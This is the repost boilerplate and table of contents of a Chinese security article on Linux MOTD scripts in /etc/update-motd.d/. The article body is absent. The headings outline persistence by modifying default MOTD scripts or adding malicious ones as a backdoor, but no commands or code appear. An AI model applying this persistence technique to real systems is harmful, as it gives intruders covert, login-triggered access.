本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-12-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 NOP Team 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 实用部分
    • motd 脚本文件位置
      • 留后门
        • 修改默认脚本
        • 新建恶意脚本
    • 思考部分
      • MOTD 简介
        • 一开始我以为MOTD 是一项服务
          • 从行为角度分析 motd
            • 探究
              • 如果在 /etc/update-motd.d/ 下建立目录,目录中的文件会执行吗?
              • source 和 . 是如何使策略配置生效的
              • 如果我在 source 或 . 指定的文件中套娃会怎么样
              • motd 脚本中涉及的 python 脚本
              • motd 脚本中执行的其他 shell 脚本
              • 插入指令后登录功能卡住
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档